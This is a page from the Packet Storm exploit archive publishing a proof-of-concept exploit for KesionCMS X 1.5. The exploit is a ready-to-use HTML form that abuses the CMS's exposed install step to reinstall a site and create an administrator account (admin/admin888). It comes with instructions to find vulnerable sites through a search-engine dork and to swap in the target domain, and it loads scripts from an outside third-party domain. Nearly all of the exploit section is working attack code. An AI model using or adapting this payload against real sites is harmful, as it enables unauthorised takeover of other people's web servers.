exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

KesionCMS X 1.5 Add Administrator

KesionCMS X 1.5 Add Administrator
Posted Jan 18, 2023
Authored by indoushka

KesionCMS X version 1.5 suffers from a direct access add administrator vulnerability.

tags | exploit, add administrator
SHA-256 | 1bd6a6080418c0183ca3b8e8731eb4b4c4a0c94a3cc63292425659a6cf3509b1

KesionCMS X 1.5 Add Administrator

Change Mirror Download
====================================================================================================================================
| # Title : KesionCMS X1.5 Reinstall Add Admin Exploit |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 105.0.(32-bit) |
| # Vendor : https://www.kesion.com/ |
| # Dork : Powered by KesionCMS |
====================================================================================================================================

poc :


[+] Dorking İn Google Or Other Search Enggine.

[+] copy & past this exploit listed below into a text file and save it with ".html" extension

[+] Exploit

<head><title>
Hacked By indoushka
</title><link href="http://www.tzxdcpv.com/install/images/guide.css" rel="stylesheet" />
<script src="http://www.tzxdcpv.com/ks_inc/jquery.js" type="text/javascript"></script>
<script src="http://www.tzxdcpv.com/ks_inc/common.js" type="text/javascript"></script>
<script src="http://www.tzxdcpv.com/ks_inc/lhgdialog.js"></script>
</head>
<body>
<form name="form" method="post" action="http://www.target.127.0.0.1/install/index.asp" id="form">
<div class="guide">
<div class="guidetitle">
</div>
<div class="clear"></div>
</div>
<div class="clear"></div>
<input type="hidden" name="action" value="http://www.target.127.0.0.1/install/?action=s5" />
<input type="hidden" name="DBlx" value="" />
<input type="hidden" name="CkbData" value="" />

<input type="hidden" name="TxtDBName_a" value="" />
<input name="TxtDBService" value="" id="TxtDBService" class="text" type="hidden" />
<input name="TxtDBName" value="" id="TxtDBName" class="text" type="hidden" />
<input name="TxtDBUser" value="" id="TxtDBUser" class="text" type="hidden" />
<input name="TxtDBPass" value="" id="TxtDBPass" class="text" type="hidden" />

<div id="http://www.target.127.0.0.1/install/?action=s4">



</div>
<div class="clear"></div>
<div class="sjlist">
<h5>网站参数配置</h5>
<ul>
<li><span>网站名称:</span><input name="TxtSiteName" value="科兴网络开发" id="TxtSiteName" class="text" type="text"><font color="red">*</font> 如:Kesion官方站</li>
<li><span>网站域名:</span><input name="TxtSiteUrl" value="http://cxsecurity.com" id="TxtSiteUrl" class="text" type="text"><font color="red">*</font> 后面不要带“/”。
如http://www.kesion.com。
</li>
<li><span>安装目录:</span><input name="TxtInstallDir" value="/" id="TxtInstallDir" class="text" type="text"><font color="red">*</font> 后面不要带“/”。
系统会自动获取,建议不要修改。
</li>
<li><span>授 权 码:</span><input name="TxtSiteKey" value="0" id="TxtSiteKey" class="text" type="text">
免费版本用户请留空或填“0”。
</li>
<li><span>后台目录:</span><input name="TxtManageDir" value="Admin/" id="TxtManageDir" class="text" type="text"><font color="red">*</font> 如:Manage,Admin,后面必须带"/"符号。</li>
<li><span> 后台登录验证码:</span>
<input type="radio" name="isCode_a" value="True" /> 启用
<input type="radio" value="False" name="isCode_a" checked="checked"/> 不启用
</li>

<li><span>管理认证码:</span>
<input type="radio" name="isCode" value="True" onclick="$('#rzm').show()"/> 启用 <input onclick="$('#rzm').hide()" type="radio" value="False" name="isCode" checked="checked" /> 不启用
<font id="rzm" style="display:none">认证码:<input name="TxtManageCode" value="8888" id="TxtManageCode" class="text" style="width:100px;" type="text"></font></li>
</ul>
<div class="clear"></div>
<h5>填写管理员信息</h5>
<ul>
<li><span>管理员账号:</span><input name="TxtUserName" value="admin" id="TxtUserName" class="text" type="text"><font color="red">*</font> </li>
<li><span>管理员密码:</span><input name="TxtUserPass" value="admin888" id="TxtUserPass" class="text" type="text"><font color="red">*</font> 管理员密码不能为空</li>
<li><span>重复密码:</span><input name="TxtReUserPass" value="admin888" id="TxtReUserPass" class="text" type="text"></li>
</ul>
<div class="clear blank10"></div>

<div style="padding:5px">
<input name="Button1" value="下一步" onClick="return(doCheck());" id="Button1" class="btnbg" type="submit">
</div>
</div>


[+] at Line 09 & 16 change the domain name of target


Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close